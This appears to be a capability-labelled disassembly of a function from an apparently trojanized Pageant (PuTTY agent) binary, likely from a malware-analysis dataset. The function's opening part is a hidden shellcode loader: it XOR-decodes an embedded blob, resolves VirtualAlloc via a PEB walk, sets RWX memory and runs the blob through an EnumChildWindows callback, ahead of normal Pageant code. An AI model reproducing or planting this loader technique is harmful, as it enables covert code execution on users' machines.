Function at 0x41d380
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get number of processors
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2e10
call fcn.0041fe40
mov eax, dword [0x483600]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x2db0], eax
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x2db4], eax
mov dword [ebp - 0x2dc0], 0
call fcn.0041c470
push 0x25a6
lea eax, [ebp - 0x2dac]
push str.QQQQyV
push eax
call fcn.00420d30
mov bl, byte [ebp - 0x2dac]
add esp, 0xc
xor bl, 0x90
mov dword [ebp - 0x2db8], 0
mov eax, dword fs:[0x30]
nop
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
nop
mov eax, dword [eax]
mov eax, dword [eax]
nop
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x2db8], eax
push str.VirtualAlloc
push dword [ebp - 0x2db8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 4
push 0x1000
nop
push 0x25a5
nop
nop
push 0
call eax
nop
mov edi, eax
lea eax, [ebp - 0x2df4]
push eax
push 0x40
push 0x25a5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esi, [ebp - 0x2dac]
mov ecx, edi
sub esi, edi
mov edx, 0x25a5
nop
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
nop
nop
xor al, bl
mov byte [ecx - 1], al
nop
nop
sub edx, 1
jne 0x41d450
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
mov eax, dword [ebp - 0x2db0]
mov dword [0x4854d4], eax
mov dword [0x4854dc], 0
call fcn.0041c980
test eax, eax
je 0x41dad8
xor eax, eax
cmp dword [0x4854f0], 2
sete al
mov dword [0x4841b8], eax
test eax, eax
je 0x41d4ed
call fcn.0041ef00
test eax, eax
jne 0x41d4ed
push 0x10
push str.Pageant_Fatal_Error
push str.Unable_to_access_security_APIs._Pageant_will_nnot_run__in_case_it_causes_a_security_breach.
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fb1e
mov esp, ebp
pop ebp
ret 0x10
call fcn.0041c100
push 0x7f0
lea eax, [ebp - 0x804]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebp - 0x804]
mov eax, esi
push 0x5c
push eax
call fcn.00421d30
add esp, 8
test eax, eax
je 0x41d526
mov ecx, esi
cmp eax, ecx
jb 0x41d526
lea esi, [eax + 1]
lea eax, [ebp - 0x804]
push 0x3a
push eax
call fcn.00421d30
add esp, 8
test eax, eax
je 0x41d542
cmp eax, esi
jb 0x41d542
lea esi, [eax + 1]
movq xmm0, qword [str.putty.exe]
movq qword [esi], xmm0
mov ax, word [0x4784dc]
mov word [esi + 8], ax
lea eax, [ebp - 0x804]
push 0x474b24
push eax
call fcn.0044a19d
mov esi, eax
add esp, 8
test esi, esi
je 0x41d58e
lea eax, [ebp - 0x804]
push eax
call fcn.00402250
push esi
mov dword [0x4841ac], eax
call fcn.00449d2f
add esp, 8
jmp 0x41d598
mov dword [0x4841ac], 0
call fcn.0041eab0
mov dword [0x4841a8], eax
test eax, eax
jne 0x41d5ab
call fcn.00405680
lea eax, [ebp - 0x2dc8]
push eax
lea eax, [ebp - 0x2dc4]
push eax
lea eax, [ebp - 0x2dbc]
push eax
push dword [ebp - 0x2db4]
call fcn.0041f640
mov ebx, dword [ebp - 0x2dbc]
add esp, 0x10
xor edi, edi
test ebx, ebx
jle 0x41d734
nop
mov eax, dword [ebp - 0x2dc4]
lea ecx, [edi*4]
mov dword [ebp - 0x2db4], ecx
mov esi, dword [ecx + eax]
mov ecx, str._pgpfp
mov eax, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d620
test dl, dl
je 0x41d61c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d620
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d600
xor eax, eax
jmp 0x41d625
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d7fb
mov ecx, 0x4784e8
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d654
test dl, dl
je 0x41d650
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d654
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d634
xor eax, eax
jmp 0x41d659
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d720
mov ecx, str._restrict_acl
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d688
test dl, dl
je 0x41d684
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d688
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d668
xor eax, eax
jmp 0x41d68d
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d720
mov ecx, str._restrictacl
mov eax, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d6c0
test dl, dl
je 0x41d6bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d6c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d6a0
xor eax, eax
jmp 0x41d6c5
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d720
mov ecx, 0x478518
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d6f0
test dl, dl
je 0x41d6ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d6f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d6d0
xor eax, eax
jmp 0x41d6f5
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d7d5
push esi
call fcn.0041c5f0
mov esi, eax
push esi
call fcn.0041e950
push esi
call fcn.0041c5d0
add esp, 0xc
mov dword [ebp - 0x2dc0], 1
jmp 0x41d725
call fcn.0041f380
mov ebx, dword [ebp - 0x2dbc]
inc edi
cmp edi, ebx
jl 0x41d5e0
xor ebx, ebx
mov esi, ebx
call fcn.004043f0
test ebx, ebx
je 0x41d798
mov cl, byte [ebx]
inc ebx
cmp cl, 0x22
cmovne ebx, esi
xor eax, eax
cmp cl, 0x22
sete al
lea eax, [eax*2 + 0x20]
push eax
push ebx
call fcn.004212b0
mov esi, eax
add esp, 8
test esi, esi
je 0x41d78b
mov byte [esi], 0
inc esi
mov al, byte [esi]
test al, al
je 0x41d78b
movsx eax, al
push eax
call fcn.00448e20
add esp, 4
test eax, eax
je 0x41d78b
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x41d773
push dword [ebp + 0x14]
push esi
push ebx
call fcn.0041e670
add esp, 0xc
cmp dword [0x4841a8], 0
je 0x41d805
test ebx, ebx
jne 0x41d7c0
cmp dword [ebp - 0x2dc0], ebx
jne 0x41d7c0
push 0x10
push str.Pageant_Error
push str.Pageant_is_already_running
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041fb1e
mov esp, ebp
pop ebp
ret 0x10
lea eax, [ebx - 1]
cmp edi, eax
jge 0x41d7f1
mov eax, dword [ebp - 0x2dc8]
mov ebx, dword [ebp - 0x2db4]
mov ebx, dword [ebx + eax + 4]
jmp 0x41d736
mov ebx, 0x470300
jmp 0x41d736
call fcn.0041f560
jmp 0x41d4d5
cmp dword [ebp + 0xc], 0
jne 0x41d897
mov eax, dword [ebp - 0x2db0]
push 0xc8
push eax
mov dword [ebp - 0x2df0], 0
mov dword [ebp - 0x2dec], 0x41daf0
mov dword [ebp - 0x2de8], 0
mov dword [ebp - 0x2de4], 0
mov dword [ebp - 0x2de0], eax
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f01
push 0
mov dword [ebp - 0x2ddc], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 4
mov dword [ebp - 0x2dd8], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x2dd4], eax
lea eax, [ebp - 0x2df0]
push eax
mov dword [ebp - 0x2dd0], 0
mov dword [ebp - 0x2dcc], str.Pageant
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
push dword [ebp - 0x2db0]
mov dword [0x484198], 0
push 0
push 0
push 0x64
push 0x64
push 0x80000000
push 0x80000000
push 0xef0000
push str.Pageant
push str.Pageant
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push eax
mov dword [0x4854dc], eax
call fcn.0041cd20
add esp, 4
call dword [sym.imp.USER32.dll_CreatePopupMenu]
cmp dword [0x4841ac], 0
mov esi, dword [sym.imp.USER32.dll_AppendMenuA]
mov dword [0x4841a0], eax
je 0x41d941
call dword [sym.imp.USER32.dll_CreateMenu]
push str.New_Session
push 0x60
push 0
push dword [0x4841a0]
mov dword [0x4841a4], eax
call esi
push str.Saved_Sessions
push dword [0x4841a4]
push 0x10
push dword [0x4841a0]
call esi
push 0
push 0
push 0x800
push dword [0x4841a0]
call esi
mov eax, dword [0x4841a0]
push str.View_Keys
push 0x20
push 0
push eax
call esi
push str.Add_Key
push 0x30
push 0
push dword [0x4841a0]
call esi
push 0
push 0
push 0x800
push dword [0x4841a0]
call esi
call fcn.0041c0e0
test eax, eax
je 0x41d989
push str.Help
push 0x40
push 0
push dword [0x4841a0]
call esi
push 0x478588
push 0x50
push 0
push dword [0x4841a0]
call esi
push 0
push 0
push 0x800
push dword [0x4841a0]
call esi
push str.Exit
push 0x10
push 0
push dword [0x4841a0]
call esi
push dword [0x4841a4]
call dword [sym.imp.USER32.dll_GetMenuItemCount]
push 0
push 0x20
push dword [0x4841a0]
mov dword [0x4841b4], eax
call dword [sym.imp.USER32.dll_SetMenuDefaultItem]
push 0
push dword [0x4854dc]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebx, dword [sym.imp.USER32.dll_GetMessageA]
lea eax, [ebp - 0x2e10]
push 0
push 0
push 0
push eax
call ebx
cmp eax, 1
jne 0x41da81
mov esi, dword [sym.imp.USER32.dll_IsWindow]
mov edi, dword [sym.imp.USER32.dll_IsDialogMessageA]
push dword [0x484198]
call esi
test eax, eax
je 0x41da34
lea eax, [ebp - 0x2e10]
push eax
push dword [0x484198]
call edi
test eax, eax
jne 0x41da6d
push dword [0x48419c]
call esi
test eax, eax
je 0x41da53
lea eax, [ebp - 0x2e10]
push eax
push dword [0x48419c]
call edi
test eax, eax
jne 0x41da6d
lea eax, [ebp - 0x2e10]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x2e10]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push 0
push 0
lea eax, [ebp - 0x2e10]
push eax
call ebx
cmp eax, 1
je 0x41da15
mov eax, dword [0x4854dc]
mov dword [ebp - 0xa00], eax
lea eax, [ebp - 0xa04]
push eax
push 2
mov dword [ebp - 0xa04], 0x1fc
mov dword [ebp - 0x9fc], 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
push dword [0x4841a0]
call dword [sym.imp.USER32.dll_DestroyMenu]
mov eax, dword [0x4841b0]
test eax, eax
je 0x41dacd
push eax
call fcn.0041f410
add esp, 4
push dword [ebp - 0x2e08]
call fcn.0041e1a0
push str.Windows_refuses_to_report_a_version
call fcn.0041e4c0
int3